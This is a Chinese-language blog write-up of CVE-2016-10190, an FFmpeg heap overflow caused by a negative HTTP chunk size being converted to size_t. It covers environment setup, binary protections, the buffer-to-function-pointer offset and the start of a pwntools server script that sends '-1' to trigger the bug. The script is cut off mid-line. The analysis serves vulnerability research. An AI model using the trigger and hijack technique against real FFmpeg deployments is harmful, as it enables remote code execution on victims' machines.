CVE-2016-10190 FFmpeg Heap Overflow 漏洞分析

0x01 漏洞分析

简单来说,是因为变量在传递过程中的类型不一致,导致了传入的负数被转化为极大数,最终导致了堆溢出漏洞。

在溢出的buffer的高地址处,刚好有可利用的对象,其中的函数指针可以被覆盖。如此,就可以在后续调用这个函数指针的时候成功劫持程序的控制流。

1.1 正常情况下的程序功能

ffmpeg的-i选项可以从指定的输入流获取视频,并保存为AVI格式。下面是一个正常使用的例子。

ffmpeg -i 示例.png

1.2 HTTP分块编码

HTTP Header中的Content-Length字段用于告诉Client,响应实体的长度。Content-Length必须和实体实际长度一致,通常如果Content-Length比实际长度短,会造成内容被截断;如果比实体内容长,会造成pending。

但是在获取网络文件等情景下,实体长度不是那么容易获得。为了不依靠Header中的长度信息,也能让Client知道实体的边界,Transfer-Encoding就是为了解决这个问题的。最新的HTTP规范只定义了一种传输编码:分块编码(chunked)。编码使用若干个Chunk组成,由一个标明长度为0的chunk结束,每个Chunk有两部分组成,第一部分是该Chunk的长度,第二部分就是指定长度的内容,每个部分用CRLF隔开。

使用分块编码的response如下所示:

HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked

5\r\n
Hello\r\n
6\r\n
World!\r\n
0\r\n
\r\n

1.3 chunksize漂流记

漏洞就发生在ffmpeg处理HTTP分块编码response的过程中。

上一小节中说到,每个Chunk的第一部分是该Chunk的长度,代码中使用chunksize表示。然后看一下chunksize在程序运行中经历的传递和类型转换。

size类型转换

可以发现当传给recv函数时,chunksize最终被转换成了size_t类型。

顺便关注一下64位架构中的几种整数类型。

类型 位数 范围
long long 64 bit -2^63 ~ 2^63 -1
int64_t 64 bit -2^63 ~ 2^63 -1
int 32 bit -2^31 ~ 2^31 - 1
size_t 64 bit 0 ~ 2^64 -1

由于size_t是无符号整数,那么传入一个负数-1将会被转换为2^64 - 1,这将远大于buffrer的最大长度0x8000。此时如果传递长度大于0x8000的内容,将形成溢出。

0x02 利用思路

2.1 搭建环境

  1. 安装pwntools等工具

    $ sudo apt-get update
    $ sudo apt-get upgrade -y
    $ sudo apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev
    build-essential
    $ sudo pip install --upgrade pip
    $ sudo pip install --upgrade pwntools
    $ sudo pip install --upgrade ropper
  2. 使用下面的命令搭建环境:

    安装依赖:

    sudo apt-get update
    sudo apt-get -y install autoconf automake build-essential libass-dev \
        libfreetype6-dev libsdl2-dev libtheora-dev libtool libva-dev libvdpau-dev \
        libvorbis-dev libxcb1-dev libxcb-shm0-dev libxcb-xfixes0-dev pkg-config \
        texinfo wget zlib1g-dev yasm

    编译安装FFmpeg 3.2.1

    $ wget https://github.com/FFmpeg/FFmpeg/archive/n3.2.1.tar.gz
    $ tar xvfz n3.2.1.tar.gz
    $ mkdir ~/ffmpeg_build
    $ mkdir ~/ffmpeg_bin
    $ cd FFmpeg-n3.2.1/
    $ ./configure --prefix="$HOME/ffmpeg_build" --bindir="$HOME/ffmpeg_bin" \
      --disable-stripping
    $ make -j4
    $ sudo make install

2.2 检查程序保护

可以看到PIE(ASLR)是关闭的,这样的话在利用过程中就会简单很多。

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : ENABLED
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

2.3 劫持程序控制流

buffer刚好分配在一个AVIOContext对象的前面,并且AVIOContext对象中包含有函数指针readpacket。该对象的指针在avio_read函数中被使用,而avio_read函数将会在后续被调用——所以控制了read_packet就可以劫持程序控制流。

2.3.1 计算buffer和目标对象之间的距离

首先记录了AVIOContext对象的地址为0x1deebe0

AVIOContext地址

AVIOContext地址之readpacket

然后查看buff的地址为0x1de6b80

buf地址

相差了0x1deebe0 - 0x1de6b80 = 0x8060

2.3.2 验证填充

使用下面的代码引发crash,

#!/usr/bin/python

from pwn import *
import time
import socket

# HTTP Headers

headers = """HTTP/1.1 200 OK
Server: PwnServ/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked

"""

def main():
    # Start a listener and wait for a connection from ffmpeg

    while True:
        p = listen(12345)
        p.wait_for_connection()
        log.success("Victim found!")

        # Initialise the ffmpeg instance and prepare it for the bug
        p.send(headers)
        time.sleep(2)

        # Trigger the bug with the overly large read
        p.sendline("-1")
        log.info("Bug triggered. Please wait 
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值